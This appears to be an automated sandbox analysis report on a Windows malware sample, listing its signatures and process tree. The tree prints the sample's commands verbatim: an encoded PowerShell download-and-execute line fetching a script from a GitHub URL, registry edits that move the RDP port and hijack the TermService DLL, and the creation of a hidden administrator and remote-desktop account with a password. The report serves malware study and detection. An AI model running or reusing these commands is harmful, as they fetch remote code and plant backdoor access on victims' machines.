Analysis

  • max time kernel
    48s
  • max time network
    111s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    23/05/2021, 06:34

General

  • Target
    4d4cb53955f998f339000039ebd0685b.exe
  • Size 6.0MB
  • Sample210523-tv8zybweee
  • SHA256 39f4d59b94d2b39408e4dc962fbf2e65a79b234b46a42c6b05856e60acf7f95b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe
    "C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1972
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3160
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        3⤵
          PID:1312
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          3⤵
          • Modifies registry key
          PID:1664
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          3⤵
            PID:1348
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:652
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
                PID:2364
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3852
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1448
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:788
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    6⤵
                      PID:1532
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3160
                • C:\Windows\system32\cmd.exe
                  cmd /c net start TermService
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3176
                  • C:\Windows\system32\net.exe
                    net start TermService
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3064
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start TermService
                      6⤵
                        PID:3052
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                  3⤵
                    PID:4212
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                    3⤵
                      PID:4228
                • C:\Windows\System32\cmd.exe
                  cmd /C net.exe user wgautilacc Ghar4f5 /del
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1824
                  • C:\Windows\system32\net.exe
                    net.exe user wgautilacc Ghar4f5 /del
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3984
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                      3⤵
                        PID:644
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ql4BydZ0 /add
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2844
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ql4BydZ0 /add
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2364
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ql4BydZ0 /add
                        3⤵
                          PID:2576
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1152
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:652
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          3⤵
                            PID:1408
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:424
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3852
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            3⤵
                              PID:2756
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:644
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3092
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                              3⤵
                                PID:2224
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ql4BydZ0
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3984
                            • C:\Windows\system32\net.exe
                              net.exe user wgautilacc Ql4BydZ0
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1424
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc Ql4BydZ0
                                3⤵
                                  PID:1524
                            • C:\Windows\System32\cmd.exe
                              cmd.exe /C wmic path win32_VideoController get name
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1408
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic path win32_VideoController get name
                                2⤵
                                  PID:1444
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1448
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic CPU get NAME
                                  2⤵
                                    PID:1872
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                  1⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:200
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    2⤵
                                      PID:2756
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        3⤵
                                        • Blocklisted process makes network request
                                        • Drops file in Program Files directory
                                        • Drops file in Windows directory
                                        • Modifies data under HKEY_USERS
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:652

                                  Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        memory/652-235-0x00000266714B3000-0x00000266714B5000-memory.dmp

                                        memory/652-234-0x00000266714B0000-0x00000266714B2000-memory.dmp

                                        memory/652-236-0x00000266714B6000-0x00000266714B8000-memory.dmp

                                        memory/652-237-0x00000266714B8000-0x00000266714B9000-memory.dmp

                                        memory/1528-199-0x000001F14A238000-0x000001F14A23A000-memory.dmp

                                        memory/1528-195-0x000001F14A230000-0x000001F14A232000-memory.dmp

                                        memory/1528-196-0x000001F14A233000-0x000001F14A235000-memory.dmp

                                        memory/1528-197-0x000001F14A236000-0x000001F14A238000-memory.dmp

                                        memory/1832-119-0x000001957ED86000-0x000001957ED87000-memory.dmp

                                        memory/1832-116-0x000001957ED80000-0x000001957ED82000-memory.dmp

                                        memory/1832-117-0x000001957ED83000-0x000001957ED85000-memory.dmp

                                        memory/1832-114-0x000001957F1C0000-0x000001957F5E1000-memory.dmp

                                        memory/1832-118-0x000001957ED85000-0x000001957ED86000-memory.dmp

                                        memory/1972-146-0x000001E823F30000-0x000001E823F31000-memory.dmp

                                        memory/1972-125-0x000001E80B300000-0x000001E80B301000-memory.dmp

                                        memory/1972-128-0x000001E823670000-0x000001E823671000-memory.dmp

                                        memory/1972-132-0x000001E80AE00000-0x000001E80AE02000-memory.dmp

                                        memory/1972-145-0x000001E823BA0000-0x000001E823BA1000-memory.dmp

                                        memory/1972-133-0x000001E80AE03000-0x000001E80AE05000-memory.dmp

                                        memory/1972-134-0x000001E80AE06000-0x000001E80AE08000-memory.dmp

                                        memory/1972-140-0x000001E80AE08000-0x000001E80AE09000-memory.dmp

                                        memory/3160-200-0x000001FFDF7B0000-0x000001FFDF7B2000-memory.dmp

                                        memory/3160-201-0x000001FFDF7B3000-0x000001FFDF7B5000-memory.dmp

                                        memory/3160-202-0x000001FFDF7B6000-0x000001FFDF7B8000-memory.dmp

                                        memory/3820-194-0x0000020E7E1C8000-0x0000020E7E1CA000-memory.dmp

                                        memory/3820-186-0x0000020E7E1C6000-0x0000020E7E1C8000-memory.dmp

                                        memory/3820-163-0x0000020E7E1C3000-0x0000020E7E1C5000-memory.dmp

                                        memory/3820-162-0x0000020E7E1C0000-0x0000020E7E1C2000-memory.dmp